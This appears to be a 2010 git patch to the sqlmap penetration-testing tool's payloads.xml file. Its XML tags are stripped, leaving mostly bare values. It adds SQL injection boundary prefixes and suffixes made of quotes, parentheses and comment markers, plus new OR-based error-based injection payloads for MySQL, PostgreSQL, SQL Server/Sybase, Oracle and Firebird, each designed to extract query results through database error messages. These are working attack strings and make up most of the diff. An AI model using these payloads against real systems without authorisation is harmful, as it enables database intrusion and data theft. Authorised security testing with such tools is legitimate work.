From 0069a21a0d22a544e208a5407830b9c339f14d84 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 3 Dec 2010 10:52:24 +0000 Subject: [PATCH] Added also OR error-based checks, tweaked some TODOs and added some new boundaries for login forms (yet to test) --- xml/payloads.xml | 332 +++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 323 insertions(+), 9 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index e28516a41..dfbc0f239 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -209,6 +209,7 @@ Formats: --> + 1 0 @@ -217,7 +218,9 @@ Formats: + + 1 1 @@ -388,7 +391,9 @@ Formats: "))) AND ((("[RANDSTR]" LIKE "[RANDSTR] + + 2 2,3 @@ -397,6 +402,219 @@ Formats: , + + + + + 1 + 0 + 1,2,3 + 1 + + + -- + + + + 1 + 1 + 1,2 + 1 + ) + + -- + + + + 2 + 1 + 1,2 + 1 + )) + + -- + + + + 3 + 1 + 1,2 + 1 + ))) + + -- + + + + 1 + 1 + 1,2 + 2 + ' + + -- + + + + 1 + 1 + 1,2 + 2 + ') + + -- + + + + 2 + 1 + 1,2 + 2 + ')) + + -- + + + + 3 + 1 + 1,2 + 2 + '))) + + -- + + + + 2 + 1 + 1,2 + 3 + ' + + -- + + + + 2 + 1 + 1,2 + 3 + ') + + -- + + + + 3 + 1 + 1,2 + 3 + ')) + + -- + + + + 3 + 1 + 1,2 + 3 + '))) + + -- + + + + 2 + 1 + 1,2 + 4 + " + + -- + + + + 3 + 1 + 1,2 + 4 + ") + + -- + + + + 4 + 1 + 1,2 + 4 + ")) + + -- + + + + 4 + 1 + 1,2 + 4 + "))) + + -- + + + + 3 + 1 + 1,2 + 5 + " + + -- + + + + 4 + 1 + 1,2 + 5 + ") + + -- + + + + 5 + 1 + 1,2 + 5 + ")) + + -- + + + + 5 + 1 + 1,2 + 5 + "))) + + -- + + + + 2 + 2,3 + 1,2 + 1 + , + + -- + + @@ -512,7 +730,7 @@ Formats: - + Generic boolean-based blind - GROUP BY and ORDER BY clauses (append) @@ -607,7 +825,7 @@ Formats: - + Generic boolean-based blind - GROUP BY and ORDER BY clauses (replace) @@ -629,7 +847,7 @@ Formats: - MySQL >= 5.0 error-based - WHERE clause + MySQL >= 5.0 error-based - WHERE clause (AND) 2 1 0 @@ -649,7 +867,7 @@ Formats: - PostgreSQL error-based - WHERE clause + PostgreSQL error-based - WHERE clause (AND) 2 1 0 @@ -668,7 +886,7 @@ Formats: - Microsoft SQL Server/Sybase error-based - WHERE clause + Microsoft SQL Server/Sybase error-based - WHERE clause (AND) 2 1 0 @@ -687,7 +905,7 @@ Formats: - Oracle error-based - WHERE clause + Oracle error-based - WHERE clause (AND) 2 1 0 @@ -706,7 +924,7 @@ Formats: - Firebird error-based - WHERE clause + Firebird error-based - WHERE clause (AND) 2 1 0 @@ -723,6 +941,102 @@ Formats: Firebird + + + MySQL >= 5.0 error-based - WHERE clause (OR) + 2 + 2 + 2 + 1 + 1 + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(%s),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) + + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+
+ + + PostgreSQL error-based - WHERE clause (OR) + 2 + 2 + 2 + 1 + 1 + OR [RANDNUM]=CAST('[DELIMITER_START]'||(%s)::text||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ PostgreSQL +
+
+ + + Microsoft SQL Server/Sybase error-based - WHERE clause (OR) + 2 + 2 + 2 + 1 + 1 + OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(%s)+'[DELIMITER_STOP]')) + + OR [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server +
+
+ + + Oracle error-based - WHERE clause (OR) + 2 + 2 + 2 + 1 + 1 + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((%s),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Oracle +
+
+ + + Firebird error-based - WHERE clause (OR) + 2 + 2 + 2 + 1 + 1 + OR [RANDNUM]=('[DELIMITER_START]'||%s||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Firebird +
+